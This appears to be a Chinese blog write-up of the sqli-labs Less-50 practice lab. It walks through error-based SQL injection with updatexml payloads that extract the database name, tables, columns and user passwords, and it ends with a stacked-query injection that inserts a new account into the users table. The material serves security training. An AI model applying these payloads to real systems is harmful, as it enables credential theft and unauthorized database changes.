sqli-labs-Less-50

SQLI-LAPS 实验记录

Less-50

这一关我们采用报错注入的方式,可以查询到数据库名称、表名、列名等信息。

首先我们在命令行中输入sqlmap命令:

sql 复制代码
?sort=1

结果如图所示,列出了数据的具体信息,但这不是我们想要的方式。

接下来,我们尝试使用updatexml摄氏注入的方法来进行注入。

sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)#

结果如图所示,爆出了数据库名称,接下来我们就可以继续报错注入的方式,查询表名、列名等信息。


  • 查询表名:
sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
  • 查询列名:
sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
  • 查询数据:
sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,(select concat(username,id,password) from security.users where id=1),0x7e),1)#

除此之外,我们还可以使用insert方式,向数据库中插入我们想要的账号和密码信息:

sql 复制代码
?sort=1; insert into users(username,id,password) values('heze111',111,'love')#

可以看到,帐号heze111与密码love已经插入到数据库当中了。

相关推荐
gechunlian882 小时前
redis exporter手册
数据库·redis·缓存
木易 士心2 小时前
深入理解 MySQL 权限撤销(REVOKE)机制:从语法到安全实践
数据库·后端·mysql·安全
小龙报2 小时前
【数据结构与算法】栈和队列的综合应用:1.用栈实现队列 2.用队列实现栈 3.设计循环队列
c语言·数据结构·数据库·c++·redis·算法·缓存
dapeng28702 小时前
使用Fabric自动化你的部署流程
jvm·数据库·python
sxhcwgcy2 小时前
Spring.factories
java·数据库·spring
Mike117.3 小时前
GBase 8a 数据同步实践:从 T+1 同步、实时镜像到一写多读的落地思路
java·服务器·数据库
eggwyw3 小时前
Redis 设置密码(配置文件、docker容器、命令行3种场景)
数据库·redis·docker
油丶酸萝卜别吃3 小时前
Redis 通常应用于哪些场景?
数据库·redis·缓存
zhoupenghui1683 小时前
redis 快速链表 详解
数据库·redis·链表·quicklist·快速链表